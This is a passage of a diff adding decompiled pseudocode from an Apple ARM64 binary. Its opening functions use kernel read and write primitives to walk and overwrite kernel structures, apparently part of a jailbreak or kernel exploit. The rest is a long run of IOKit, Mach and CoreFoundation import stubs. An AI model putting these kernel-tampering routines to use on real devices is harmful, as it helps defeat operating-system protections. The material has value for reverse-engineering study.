+ 0x168), &v34) ) + goto LABEL_50; + if ( !validate_addr(a1, v34) ) + goto LABEL_49; + v23 = sub_1F190(); + if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v23), 4uLL, &v31) ) + goto LABEL_50; + while ( 1 ) + { + v24 = (unsigned __int16)v31; + if ( !(_WORD)v31 ) + { + v11 = HIWORD(v31); + if ( !HIWORD(v31) ) + { + if ( a5 ) + { + v25 = a5(a1, a6); + if ( (_DWORD)v25 ) + goto LABEL_48; + } + goto LABEL_36; + } + } + v26 = (unsigned __int16)v11; + if ( (_WORD)v31 ) + v26 = (unsigned __int16)v31; + v31 = v26; + if ( v26 - 1 > 7 ) + goto LABEL_51; + if ( v24 ) + v27 = 8LL; + else + v27 = 0x10LL; + if ( !kreadbuf_last_0(a1, v33 + v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v23), 4uLL, &v35) ) + goto LABEL_50; + LODWORD(v34) = v35; + if ( (unsigned int)sub_1F190() == v23 ) + break; +LABEL_36: + v23 = sub_1F190(); + if ( !kreadbuf_last_0(a1, v33 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v23), 4uLL, &v31) ) + goto LABEL_50; + } + v29 = v34 + (v31 - 1) * *(_DWORD *)(a1 + 0x168); +LABEL_53: + if ( kwritebuf_last_0(a1, v29, &v32, 4uLL) ) + { + v14 = 0LL; + goto LABEL_56; + } +LABEL_55: + v14 = 0x28010LL; +LABEL_56: + if ( v36 != 0xFFFFFFFF ) + fd_close(v36); + return v14; +} + +//----- (0000000000040CBC) ---------------------------------------------------- +__int64 __fastcall sub_40CBC( + __int64 a1, + __int64 a2, + unsigned int a3, + __int64 *a4, + __int64 (__fastcall *a5)(__int64, __int64), + __int64 a6) +{ + __int64 v11; // x25 + __int64 v12; // x8 + __int64 v13; // x23 + int v14; // w0 + int v15; // w23 + unsigned int v16; // w28 + int v17; // w26 + unsigned int v18; // w8 + __int64 v19; // x0 + __int64 v20; // x27 + __int64 v21; // x10 + unsigned __int16 v22; // w8 + unsigned int v23; // w9 + unsigned int v25; // [xsp+Ch] [xbp-74h] BYREF + __int64 v26; // [xsp+10h] [xbp-70h] BYREF + __int64 v27; // [xsp+18h] [xbp-68h] BYREF + unsigned __int64 v28; // [xsp+20h] [xbp-60h] BYREF + unsigned int v29; // [xsp+28h] [xbp-58h] BYREF + int v30; // [xsp+2Ch] [xbp-54h] BYREF + + v11 = 0x2800FLL; + v30 = 0xFFFFFFFF; + v28 = 0LL; + v12 = 0x20LL; + if ( *(_QWORD *)(a1 + 0x158) > 0x1C1B19145FFFFFuLL ) + v12 = 0x28LL; + if ( !kread64((_DWORD *)a1, v12 + a2, &v27) ) + { + v13 = 0x2800FLL; + goto LABEL_32; + } + if ( !validate_addr(a1, v27) ) + { + v13 = 0x28026LL; + goto LABEL_32; + } + v13 = fd_open_dev_null(&v30); + if ( (_DWORD)v13 ) + goto LABEL_32; + v14 = sub_1F190(); + if ( *(_QWORD *)(a1 + 0x158) <= 0x1C1B19145FFFFFuLL ) + { + v13 = 0xAD008LL; + goto LABEL_32; + } + if ( !kreadbuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v14) + 8, *(int *)(a1 + 0x168), &v28) ) + goto LABEL_31; + if ( !validate_addr(a1, v28) ) + { + v11 = 0x28026LL; + goto LABEL_31; + } + v15 = sub_1F190(); + if ( !kreadbuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), 4uLL, &v25) ) + { +LABEL_31: + v13 = v11; + goto LABEL_32; + } + while ( 1 ) + { + v16 = v25; + v17 = (unsigned __int16)v25; + v18 = (unsigned __int16)v25; + if ( !(_WORD)v25 ) + { + if ( v25 < 0x10000 ) + { + if ( a5 ) + { + v19 = a5(a1, a6); + if ( (_DWORD)v19 ) + { + v11 = v19; + goto LABEL_31; + } + } + goto LABEL_25; + } + v18 = HIWORD(v25); + } + v20 = v18 - 1LL; + if ( (unsigned int)v20 > 7 ) + { + v11 = 0x28011LL; + goto LABEL_31; + } + v21 = 8LL; + if ( !(_WORD)v25 ) + v21 = 0x10LL; + if ( !kreadbuf_last_0(a1, v27 + v21 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), 4uLL, &v29) ) + goto LABEL_31; + v28 = v29 | ((unsigned __int64)HIDWORD(v28) << 0x20); + v26 = 0LL; + if ( !kreadbuf_last_0(a1, v28 + *(int *)(a1 + 0x168) * v20, *(int *)(a1 + 0x168), &v26) ) + goto LABEL_31; + if ( validate_addr(a1, v26 & ~*(_QWORD *)(a1 + 0x188)) ) + { + v26 = (v26 & ~*(_QWORD *)(a1 + 0x188)) + (*(_QWORD *)(a1 + 0x188) & v26) * a3; + v22 = v16 - 1; + v23 = v16 & 0xFFFF0000; + if ( !v17 ) + { + v22 = v16; + v23 = (v16 & 0xFFFF0000) - 0x10000; + } + v25 = v23 & 0xFFFF0000 | v22; + if ( (unsigned int)sub_1F190() == v15 ) + break; + } +LABEL_25: + v15 = sub_1F190(); + if ( !kreadbuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), 4uLL, &v25) ) + goto LABEL_31; + } + if ( !kwritebuf_last_0(a1, v27 + (unsigned int)(*(_DWORD *)(a1 + 0x180) * v15), &v25, 4uLL) ) + { + v11 = 0x28010LL; + goto LABEL_31; + } + v13 = 0LL; + *a4 = v26; +LABEL_32: + if ( v30 != 0xFFFFFFFF ) + fd_close(v30); + return v13; +} + +//----- (0000000000040FB0) ---------------------------------------------------- +__int64 __fastcall sub_40FB0(__int64 a1, __int64 a2, __int64 a3) +{ + return syscall(0x17D, a1, a2, a3); +} + +//----- (0000000000040FDC) ---------------------------------------------------- +__int64 __fastcall sub_40FDC(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5) +{ + return syscall(0x1CD, a1, a2, a3, a4, a5); +} + +//----- (000000000004100C) ---------------------------------------------------- +__int64 __fastcall sub_4100C(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6) +{ + return syscall(0x206, a1, a2, a3, a4, a5, a6); +} + +//----- (0000000000041040) ---------------------------------------------------- +unsigned __int64 sub_41040() +{ + return *(_QWORD *)((_BYTE *)&__get_cpu_capabilities + 0xC) & 0xFFFFFFFFFFFFFF00LL; +} + +//----- (000000000004106C) ---------------------------------------------------- +int __cdecl CC_SHA1_Final(unsigned __int8 *md, CC_SHA1_CTX *c) +{ + return _CC_SHA1_Final(md, c); +} + +//----- (000000000004107C) ---------------------------------------------------- +int __cdecl CC_SHA1_Init(CC_SHA1_CTX *c) +{ + return _CC_SHA1_Init(c); +} + +//----- (000000000004108C) ---------------------------------------------------- +int __cdecl CC_SHA1_Update(CC_SHA1_CTX *c, const void *data, CC_LONG len) +{ + return _CC_SHA1_Update(c, data, len); +} + +//----- (000000000004109C) ---------------------------------------------------- +int __cdecl CC_SHA256_Final(unsigned __int8 *md, CC_SHA256_CTX *c) +{ + return _CC_SHA256_Final(md, c); +} + +//----- (00000000000410AC) ---------------------------------------------------- +int __cdecl CC_SHA256_Init(CC_SHA256_CTX *c) +{ + return _CC_SHA256_Init(c); +} + +//----- (00000000000410BC) ---------------------------------------------------- +int __cdecl CC_SHA256_Update(CC_SHA256_CTX *c, const void *data, CC_LONG len) +{ + return _CC_SHA256_Update(c, data, len); +} + +//----- (00000000000410CC) ---------------------------------------------------- +int __cdecl CC_SHA384_Final(unsigned __int8 *md, CC_SHA512_CTX *c) +{ + return _CC_SHA384_Final(md, c); +} + +//----- (00000000000410DC) ---------------------------------------------------- +int __cdecl CC_SHA384_Init(CC_SHA512_CTX *c) +{ + return _CC_SHA384_Init(c); +} + +//----- (00000000000410EC) ---------------------------------------------------- +int __cdecl CC_SHA384_Update(CC_SHA512_CTX *c, const void *data, CC_LONG len) +{ + return _CC_SHA384_Update(c, data, len); +} + +//----- (00000000000410FC) ---------------------------------------------------- +void __cdecl CFArrayAppendValue(CFMutableArrayRef theArray, const void *value) +{ + _CFArrayAppendValue(theArray, value); +} + +//----- (000000000004110C) ---------------------------------------------------- +void __cdecl CFArrayApplyFunction(CFArrayRef theArray, CFRange range, CFArrayApplierFunction applier, void *context) +{ + _CFArrayApplyFunction(theArray, range, applier, context); +} + +//----- (000000000004111C) ---------------------------------------------------- +Boolean __cdecl CFArrayContainsValue(CFArrayRef theArray, CFRange range, const void *value) +{ + return _CFArrayContainsValue(theArray, range, value); +} + +//----- (000000000004112C) ---------------------------------------------------- +CFIndex __cdecl CFArrayGetCount(CFArrayRef theArray) +{ + return _CFArrayGetCount(theArray); +} + +//----- (000000000004113C) ---------------------------------------------------- +CFTypeID CFArrayGetTypeID(void) +{ + return _CFArrayGetTypeID(); +} + +//----- (000000000004114C) ---------------------------------------------------- +CFTypeID CFBooleanGetTypeID(void) +{ + return _CFBooleanGetTypeID(); +} + +//----- (000000000004115C) ---------------------------------------------------- +CFDataRef __cdecl CFDataCreate(CFAllocatorRef allocator, const UInt8 *bytes, CFIndex length) +{ + return _CFDataCreate(allocator, bytes, length); +} + +//----- (000000000004116C) ---------------------------------------------------- +CFDataRef __cdecl CFDataCreateWithBytesNoCopy( + CFAllocatorRef allocator, + const UInt8 *bytes, + CFIndex length, + CFAllocatorRef bytesDeallocator) +{ + return _CFDataCreateWithBytesNoCopy(allocator, bytes, length, bytesDeallocator); +} + +//----- (000000000004117C) ---------------------------------------------------- +const UInt8 *__cdecl CFDataGetBytePtr(CFDataRef theData) +{ + return _CFDataGetBytePtr(theData); +} + +//----- (000000000004118C) ---------------------------------------------------- +CFIndex __cdecl CFDataGetLength(CFDataRef theData) +{ + return _CFDataGetLength(theData); +} + +//----- (000000000004119C) ---------------------------------------------------- +CFTypeID CFDataGetTypeID(void) +{ + return _CFDataGetTypeID(); +} + +//----- (00000000000411AC) ---------------------------------------------------- +void __cdecl CFDictionaryAddValue(CFMutableDictionaryRef theDict, const void *key, const void *value) +{ + _CFDictionaryAddValue(theDict, key, value); +} + +//----- (00000000000411BC) ---------------------------------------------------- +void __cdecl CFDictionaryApplyFunction(CFDictionaryRef theDict, CFDictionaryApplierFunction applier, void *context) +{ + _CFDictionaryApplyFunction(theDict, applier, context); +} + +//----- (00000000000411CC) ---------------------------------------------------- +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutable( + CFAllocatorRef allocator, + CFIndex capacity, + const CFDictionaryKeyCallBacks *keyCallBacks, + const CFDictionaryValueCallBacks *valueCallBacks) +{ + return _CFDictionaryCreateMutable(allocator, capacity, keyCallBacks, valueCallBacks); +} + +//----- (00000000000411DC) ---------------------------------------------------- +CFMutableDictionaryRef __cdecl CFDictionaryCreateMutableCopy( + CFAllocatorRef allocator, + CFIndex capacity, + CFDictionaryRef theDict) +{ + return _CFDictionaryCreateMutableCopy(allocator, capacity, theDict); +} + +//----- (00000000000411EC) ---------------------------------------------------- +CFTypeID CFDictionaryGetTypeID(void) +{ + return _CFDictionaryGetTypeID(); +} + +//----- (00000000000411FC) ---------------------------------------------------- +Boolean __cdecl CFDictionaryGetValueIfPresent(CFDictionaryRef theDict, const void *key, const void **value) +{ + return _CFDictionaryGetValueIfPresent(theDict, key, value); +} + +//----- (000000000004120C) ---------------------------------------------------- +void __cdecl CFDictionarySetValue(CFMutableDictionaryRef theDict, const void *key, const void *value) +{ + _CFDictionarySetValue(theDict, key, value); +} + +//----- (000000000004121C) ---------------------------------------------------- +Boolean __cdecl CFEqual(CFTypeRef cf1, CFTypeRef cf2) +{ + return _CFEqual(cf1, cf2); +} + +//----- (000000000004122C) ---------------------------------------------------- +CFTypeID __cdecl CFGetTypeID(CFTypeRef cf) +{ + return _CFGetTypeID(cf); +} + +//----- (000000000004123C) ---------------------------------------------------- +CFNumberRef __cdecl CFNumberCreate(CFAllocatorRef allocator, CFNumberType theType, const void *valuePtr) +{ + return _CFNumberCreate(allocator, theType, valuePtr); +} + +//----- (000000000004124C) ---------------------------------------------------- +CFTypeID CFNumberGetTypeID(void) +{ + return _CFNumberGetTypeID(); +} + +//----- (000000000004125C) ---------------------------------------------------- +Boolean __cdecl CFNumberGetValue(CFNumberRef number, CFNumberType theType, void *valuePtr) +{ + return _CFNumberGetValue(number, theType, valuePtr); +} + +//----- (000000000004126C) ---------------------------------------------------- +CFDataRef __cdecl CFPropertyListCreateData( + CFAllocatorRef allocator, + CFPropertyListRef propertyList, + CFPropertyListFormat format, + CFOptionFlags options, + CFErrorRef *error) +{ + return _CFPropertyListCreateData(allocator, propertyList, format, options, error); +} + +//----- (000000000004127C) ---------------------------------------------------- +CFPropertyListRef __cdecl CFPropertyListCreateWithData( + CFAllocatorRef allocator, + CFDataRef data, + CFOptionFlags options, + CFPropertyListFormat *format, + CFErrorRef *error) +{ + return _CFPropertyListCreateWithData(allocator, data, options, format, error); +} + +//----- (000000000004128C) ---------------------------------------------------- +CFPropertyListRef __cdecl CFPropertyListCreateWithStream( + CFAllocatorRef allocator, + CFReadStreamRef stream, + CFIndex streamLength, + CFOptionFlags options, + CFPropertyListFormat *format, + CFErrorRef *error) +{ + return _CFPropertyListCreateWithStream(allocator, stream, streamLength, options, format, error); +} + +//----- (000000000004129C) ---------------------------------------------------- +void __cdecl CFReadStreamClose(CFReadStreamRef stream) +{ + _CFReadStreamClose(stream); +} + +//----- (00000000000412AC) ---------------------------------------------------- +CFReadStreamRef __cdecl CFReadStreamCreateWithBytesNoCopy( + CFAllocatorRef alloc, + const UInt8 *bytes, + CFIndex length, + CFAllocatorRef bytesDeallocator) +{ + return _CFReadStreamCreateWithBytesNoCopy(alloc, bytes, length, bytesDeallocator); +} + +//----- (00000000000412BC) ---------------------------------------------------- +Boolean __cdecl CFReadStreamOpen(CFReadStreamRef stream) +{ + return _CFReadStreamOpen(stream); +} + +//----- (00000000000412CC) ---------------------------------------------------- +void __cdecl CFRelease(CFTypeRef cf) +{ + _CFRelease(cf); +} + +//----- (00000000000412DC) ---------------------------------------------------- +void __cdecl CFRunLoopAddSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode) +{ + _CFRunLoopAddSource(rl, source, mode); +} + +//----- (00000000000412EC) ---------------------------------------------------- +CFRunLoopRef CFRunLoopGetCurrent(void) +{ + return _CFRunLoopGetCurrent(); +} + +//----- (00000000000412FC) ---------------------------------------------------- +void __cdecl CFRunLoopRemoveSource(CFRunLoopRef rl, CFRunLoopSourceRef source, CFRunLoopMode mode) +{ + _CFRunLoopRemoveSource(rl, source, mode); +} + +//----- (000000000004130C) ---------------------------------------------------- +CFRunLoopRunResult __cdecl CFRunLoopRunInMode( + CFRunLoopMode mode, + CFTimeInterval seconds, + Boolean returnAfterSourceHandled) +{ + return _CFRunLoopRunInMode(mode, seconds, returnAfterSourceHandled); +} + +//----- (000000000004131C) ---------------------------------------------------- +CFStringRef __cdecl CFStringCreateWithCString(CFAllocatorRef alloc, const char *cStr, CFStringEncoding encoding) +{ + return _CFStringCreateWithCString(alloc, cStr, encoding); +} + +//----- (000000000004132C) ---------------------------------------------------- +Boolean __cdecl CFStringGetCString(CFStringRef theString, char *buffer, CFIndex bufferSize, CFStringEncoding encoding) +{ + return _CFStringGetCString(theString, buffer, bufferSize, encoding); +} + +//----- (000000000004133C) ---------------------------------------------------- +CFStringEncoding CFStringGetSystemEncoding(void) +{ + return _CFStringGetSystemEncoding(); +} + +//----- (000000000004134C) ---------------------------------------------------- +CFTypeID CFStringGetTypeID(void) +{ + return _CFStringGetTypeID(); +} + +//----- (000000000004135C) ---------------------------------------------------- +Boolean __cdecl CFStringHasPrefix(CFStringRef theString, CFStringRef prefix) +{ + return _CFStringHasPrefix(theString, prefix); +} + +//----- (000000000004136C) ---------------------------------------------------- +CFDataRef __cdecl IOCFSerialize(CFTypeRef object, CFOptionFlags options) +{ + return _IOCFSerialize(object, options); +} + +//----- (000000000004137C) ---------------------------------------------------- +kern_return_t __cdecl IOConnectCallMethod( + mach_port_t connection, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + const void *inputStruct, + size_t inputStructCnt, + uint64_t *output, + uint32_t *outputCnt, + void *outputStruct, + size_t *outputStructCnt) +{ + return _IOConnectCallMethod( + connection, + selector, + input, + inputCnt, + inputStruct, + inputStructCnt, + output, + outputCnt, + outputStruct, + outputStructCnt); +} + +//----- (000000000004138C) ---------------------------------------------------- +kern_return_t __cdecl IOConnectCallScalarMethod( + mach_port_t connection, + uint32_t selector, + const uint64_t *input, + uint32_t inputCnt, + uint64_t *output, + uint32_t *outputCnt) +{ + return _IOConnectCallScalarMethod(connection, selector, input, inputCnt, output, outputCnt); +} + +//----- (000000000004139C) ---------------------------------------------------- +kern_return_t __cdecl IOConnectCallStructMethod( + mach_port_t connection, + uint32_t selector, + const void *inputStruct, + size_t inputStructCnt, + void *outputStruct, + size_t *outputStructCnt) +{ + return _IOConnectCallStructMethod(connection, selector, inputStruct, inputStructCnt, outputStruct, outputStructCnt); +} + +//----- (00000000000413AC) ---------------------------------------------------- +kern_return_t __cdecl IOConnectTrap4( + io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4) +{ + return _IOConnectTrap4(connect, index, p1, p2, p3, p4); +} + +//----- (00000000000413BC) ---------------------------------------------------- +kern_return_t __cdecl IOConnectTrap6( + io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4, + uintptr_t p5, + uintptr_t p6) +{ + return _IOConnectTrap6(connect, index, p1, p2, p3, p4, p5, p6); +} + +//----- (00000000000413CC) ---------------------------------------------------- +io_object_t __cdecl IOIteratorNext(io_iterator_t iterator) +{ + return _IOIteratorNext(iterator); +} + +//----- (00000000000413DC) ---------------------------------------------------- +IONotificationPortRef __cdecl IONotificationPortCreate(mach_port_t masterPort) +{ + return _IONotificationPortCreate(masterPort); +} + +//----- (00000000000413EC) ---------------------------------------------------- +void __cdecl IONotificationPortDestroy(IONotificationPortRef notify) +{ + _IONotificationPortDestroy(notify); +} + +//----- (00000000000413FC) ---------------------------------------------------- +CFRunLoopSourceRef __cdecl IONotificationPortGetRunLoopSource(IONotificationPortRef notify) +{ + return _IONotificationPortGetRunLoopSource(notify); +} + +//----- (000000000004140C) ---------------------------------------------------- +kern_return_t __cdecl IOObjectRelease(io_object_t object) +{ + return _IOObjectRelease(object); +} + +//----- (000000000004141C) ---------------------------------------------------- +kern_return_t __cdecl IORegistryEntryCreateCFProperties( + io_registry_entry_t entry, + CFMutableDictionaryRef *properties, + CFAllocatorRef allocator, + IOOptionBits options) +{ + return _IORegistryEntryCreateCFProperties(entry, properties, allocator, options); +} + +//----- (000000000004142C) ---------------------------------------------------- +CFTypeRef __cdecl IORegistryEntryCreateCFProperty( + io_registry_entry_t entry, + CFStringRef key, + CFAllocatorRef allocator, + IOOptionBits options) +{ + return _IORegistryEntryCreateCFProperty(entry, key, allocator, options); +} + +//----- (000000000004143C) ---------------------------------------------------- +io_registry_entry_t __cdecl IORegistryEntryFromPath(mach_port_t masterPort, const io_string_t path) +{ + return _IORegistryEntryFromPath(masterPort, path); +} + +//----- (000000000004144C) ---------------------------------------------------- +kern_return_t __cdecl IORegistryEntryGetChildIterator( + io_registry_entry_t entry, + const io_name_t plane, + io_iterator_t *iterator) +{ + return _IORegistryEntryGetChildIterator(entry, plane, iterator); +} + +//----- (000000000004145C) ---------------------------------------------------- +CFTypeRef __cdecl IORegistryEntrySearchCFProperty( + io_registry_entry_t entry, + const io_name_t plane, + CFStringRef key, + CFAllocatorRef allocator, + IOOptionBits options) +{ + return _IORegistryEntrySearchCFProperty(entry, plane, key, allocator, options); +} + +//----- (000000000004146C) ---------------------------------------------------- +kern_return_t __cdecl IOServiceAddMatchingNotification( + IONotificationPortRef notifyPort, + const io_name_t notificationType, + CFDictionaryRef matching, + IOServiceMatchingCallback callback, + void *refCon, + io_iterator_t *notification) +{ + return _IOServiceAddMatchingNotification(notifyPort, notificationType, matching, callback, refCon, notification); +} + +//----- (000000000004147C) ---------------------------------------------------- +kern_return_t __cdecl IOServiceClose(io_connect_t connect) +{ + return _IOServiceClose(connect); +} + +//----- (000000000004148C) ---------------------------------------------------- +io_service_t __cdecl IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching) +{ + return _IOServiceGetMatchingService(masterPort, matching); +} + +//----- (000000000004149C) ---------------------------------------------------- +CFMutableDictionaryRef __cdecl IOServiceMatching(const char *name) +{ + return _IOServiceMatching(name); +} + +//----- (00000000000414AC) ---------------------------------------------------- +kern_return_t __cdecl IOServiceOpen(io_service_t service, task_port_t owningTask, uint32_t type, io_connect_t *connect) +{ + return _IOServiceOpen(service, owningTask, type, connect); +} + +//----- (00000000000414BC) ---------------------------------------------------- +kern_return_t __cdecl IOServiceWaitQuiet(io_service_t service, mach_timespec_t *waitTime) +{ + return _IOServiceWaitQuiet(service, waitTime); +} + +//----- (00000000000414CC) ---------------------------------------------------- +__int64 _CFProcessPath() +{ + return __CFProcessPath(); +} +// 48238: using guessed type __int64 __CFProcessPath(void); + +//----- (00000000000414DC) ---------------------------------------------------- +__int64 _IOServiceSetAuthorizationID() +{ + return __IOServiceSetAuthorizationID(); +} +// 48328: using guessed type __int64 __IOServiceSetAuthorizationID(void); + +//----- (00000000000414EC) ---------------------------------------------------- +int *__error(void) +{ + return ___error(); +} + +//----- (00000000000414FC) ---------------------------------------------------- +__int64 __memcpy_chk() +{ + return ___memcpy_chk(); +} +// 48388: using guessed type __int64 ___memcpy_chk(void); + +//----- (000000000004150C) ---------------------------------------------------- +__int64 __memset_chk() +{ + return ___memset_chk(); +} +// 48390: using guessed type __int64 ___memset_chk(void); + +//----- (000000000004151C) ---------------------------------------------------- +__int64 __semwait_signal() +{ + return ___semwait_signal(); +} +// 48398: using guessed type __int64 ___semwait_signal(void); + +//----- (000000000004153C) ---------------------------------------------------- +__int64 __strlcpy_chk() +{ + return ___strlcpy_chk(); +} +// 483A8: using guessed type __int64 ___strlcpy_chk(void); + +//----- (000000000004154C) ---------------------------------------------------- +__int64 __ulock_wait() +{ + return ___ulock_wait(); +} +// 483B0: using guessed type __int64 ___ulock_wait(void); + +//----- (000000000004155C) ---------------------------------------------------- +__int64 __ulock_wake() +{ + return ___ulock_wake(); +} +// 483B8: using guessed type __int64 ___ulock_wake(void); + +//----- (000000000004156C) ---------------------------------------------------- +__int64 _get_cpu_capabilities() +{ + return __get_cpu_capabilities(); +} +// 483C0: using guessed type __int64 __get_cpu_capabilities(void); + +//----- (000000000004157C) ---------------------------------------------------- +__int64 _os_alloc_once() +{ + return __os_alloc_once(); +} +// 483C8: using guessed type __int64 __os_alloc_once(void); + +//----- (000000000004158C) ---------------------------------------------------- +void __cdecl arc4random_buf(void *__buf, size_t __nbytes) +{ + _arc4random_buf(__buf, __nbytes); +} + +//----- (000000000004159C) ---------------------------------------------------- +void __cdecl bzero(void *a1, size_t a2) +{ + _bzero(a1, a2); +} + +//----- (00000000000415AC) ---------------------------------------------------- +void *__cdecl calloc(size_t __count, size_t __size) +{ + return _calloc(__count, __size); +} + +//----- (00000000000415BC) ---------------------------------------------------- +int __cdecl chown(const char *a1, uid_t a2, gid_t a3) +{ + return _chown(a1, a2, a3); +} + +//----- (00000000000415CC) ---------------------------------------------------- +int __cdecl close(int a1) +{ + return _close(a1); +} + +//----- (00000000000415DC) ---------------------------------------------------- +int __cdecl connect(int a1, const sockaddr *a2, socklen_t a3) +{ + return _connect(a1, a2, a3); +} + +//----- (00000000000415EC) ---------------------------------------------------- +int __cdecl dlclose(void *__handle) +{ + return _dlclose(__handle); +} + +//----- (00000000000415FC) ---------------------------------------------------- +void *__cdecl dlopen(const char *__path, int __mode) +{ + return _dlopen(__path, __mode); +} + +//----- (000000000004160C) ---------------------------------------------------- +void *__cdecl dlsym(void *__handle, const char *__symbol) +{ + return _dlsym(__handle, __symbol); +} + +//----- (000000000004161C) ---------------------------------------------------- +int fcntl(int a1, int a2, ...) +{ + return _fcntl(a1, a2); +} + +//----- (000000000004162C) ---------------------------------------------------- +int __cdecl ffsctl(int a1, unsigned __int64 a2, void *a3, unsigned int a4) +{ + return _ffsctl(a1, a2, a3, a4); +} + +//----- (000000000004163C) ---------------------------------------------------- +__int64 fileport_makefd() +{ + return _fileport_makefd(); +} +// 48428: using guessed type __int64 _fileport_makefd(void); + +//----- (000000000004164C) ---------------------------------------------------- +__int64 fileport_makeport() +{ + return _fileport_makeport(); +} +// 48430: using guessed type __int64 _fileport_makeport(void); + +//----- (000000000004165C) ---------------------------------------------------- +void __cdecl free(void *a1) +{ + _free(a1); +} + +//----- (000000000004166C) ---------------------------------------------------- +int __cdecl fstat(int a1, stat *a2) +{ + return _fstat(a1, a2); +} + +//----- (000000000004167C) ---------------------------------------------------- +int __cdecl getattrlist(const char *a1, void *a2, void *a3, size_t a4, unsigned int a5) +{ + return _getattrlist(a1, a2, a3, a4, a5); +} + +//----- (000000000004168C) ---------------------------------------------------- +int __cdecl getmntinfo(statfs **a1, int a2) +{ + return _getmntinfo(a1, a2); +} + +//----- (000000000004169C) ---------------------------------------------------- +pid_t getpid(void) +{ + return _getpid(); +} + +//----- (00000000000416AC) ---------------------------------------------------- +pid_t getppid(void) +{ + return _getppid(); +} + +//----- (00000000000416BC) ---------------------------------------------------- +uid_t getuid(void) +{ + return _getuid(); +} + +//----- (00000000000416CC) ---------------------------------------------------- +kern_return_t __cdecl host_create_mach_voucher( + host_t host, + mach_voucher_attr_raw_recipe_array_t recipes, + mach_msg_type_number_t recipesCnt, + ipc_voucher_t *voucher) +{ + return _host_create_mach_voucher(host, recipes, recipesCnt, voucher); +} + +//----- (00000000000416DC) ---------------------------------------------------- +kern_return_t __cdecl host_get_io_master(host_t host, io_master_t *io_master) +{ + return _host_get_io_master(host, io_master); +} + +//----- (00000000000416EC) ---------------------------------------------------- +kern_return_t __cdecl host_get_special_port(host_priv_t host_priv, int node, int which, mach_port_t *port) +{ + return _host_get_special_port(host_priv, node, which, port); +} + +//----- (00000000000416FC) ---------------------------------------------------- +kern_return_t __cdecl host_kernel_version(host_t host, kernel_version_t kernel_version) +{ + return _host_kernel_version(host, kernel_version); +} + +//----- (000000000004170C) ---------------------------------------------------- +kern_return_t __cdecl host_page_size(host_t a1, vm_size_t *a2) +{ + return _host_page_size(a1, a2); +} + +//----- (000000000004171C) ---------------------------------------------------- +kern_return_t __cdecl host_processors( + host_priv_t host_priv, + processor_array_t *out_processor_list, + mach_msg_type_number_t *out_processor_listCnt) +{ + return _host_processors(host_priv, out_processor_list, out_processor_listCnt); +} + +//----- (000000000004172C) ---------------------------------------------------- +kern_return_t __cdecl host_security_set_task_token( + host_security_t host_security, + task_t target_task, + security_token_t sec_token, + audit_token_t *audit_token, + host_t host) +{ + return _host_security_set_task_token(host_security, target_task, sec_token, audit_token, host); +} + +//----- (000000000004173C) ---------------------------------------------------- +int ioctl(int a1, unsigned __int64 a2, ...) +{ + return _ioctl(a1, a2); +} + +//----- (000000000004174C) ---------------------------------------------------- +int __cdecl lstat(const char *a1, stat *a2) +{ + return _lstat(a1, a2); +} + +//----- (000000000004175C) ---------------------------------------------------- +uint64_t mach_absolute_time(void) +{ + return _mach_absolute_time(); +} + +//----- (000000000004176C) ---------------------------------------------------- +mach_port_t mach_host_self(void) +{ + return _mach_host_self(); +} + +//----- (000000000004177C) ---------------------------------------------------- +kern_return_t __cdecl mach_make_memory_entry( + vm_map_t target_task, + vm_size_t *size, + vm_offset_t offset, + vm_prot_t permission, + mem_entry_name_port_t *object_handle, + mem_entry_name_port_t parent_entry) +{ + return _mach_make_memory_entry(target_task, size, offset, permission, object_handle, parent_entry); +} + +//----- (000000000004178C) ---------------------------------------------------- +kern_return_t __cdecl mach_make_memory_entry_64( + vm_map_t target_task, + memory_object_size_t *size, + memory_object_offset_t offset, + vm_prot_t permission, + mach_port_t *object_handle, + mem_entry_name_port_t parent_entry) +{ + return _mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry); +} + +//----- (000000000004179C) ---------------------------------------------------- +mach_msg_return_t __cdecl mach_msg( + mach_msg_header_t *msg, + mach_msg_option_t option, + mach_msg_size_t send_size, + mach_msg_size_t rcv_size, + mach_port_name_t rcv_name, + mach_msg_timeout_t timeout, + mach_port_name_t notify) +{ + return _mach_msg(msg, option, send_size, rcv_size, rcv_name, timeout, notify); +} + +//----- (00000000000417AC) ---------------------------------------------------- +void __cdecl mach_msg_destroy(mach_msg_header_t *a1) +{ + _mach_msg_destroy(a1); +} + +//----- (00000000000417BC) ---------------------------------------------------- +mach_msg_return_t __cdecl mach_msg_send(mach_msg_header_t *a1) +{ + return _mach_msg_send(a1); +} + +//----- (00000000000417CC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_allocate(ipc_space_t task, mach_port_right_t right, mach_port_name_t *name) +{ + return _mach_port_allocate(task, right, name); +} + +//----- (00000000000417DC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_deallocate(ipc_space_t task, mach_port_name_t name) +{ + return _mach_port_deallocate(task, name); +} + +//----- (00000000000417EC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_destroy(ipc_space_t task, mach_port_name_t name) +{ + return _mach_port_destroy(task, name); +} + +//----- (00000000000417FC) ---------------------------------------------------- +kern_return_t __cdecl mach_port_get_attributes( + ipc_space_read_t task, + mach_port_name_t name, + mach_port_flavor_t flavor, + mach_port_info_t port_info_out, + mach_msg_type_number_t *port_info_outCnt) +{ + return _mach_port_get_attributes(task, name, flavor, port_info_out, port_info_outCnt); +} + +//----- (000000000004180C) ---------------------------------------------------- +kern_return_t __cdecl mach_port_insert_right( + ipc_space_t task, + mach_port_name_t name, + 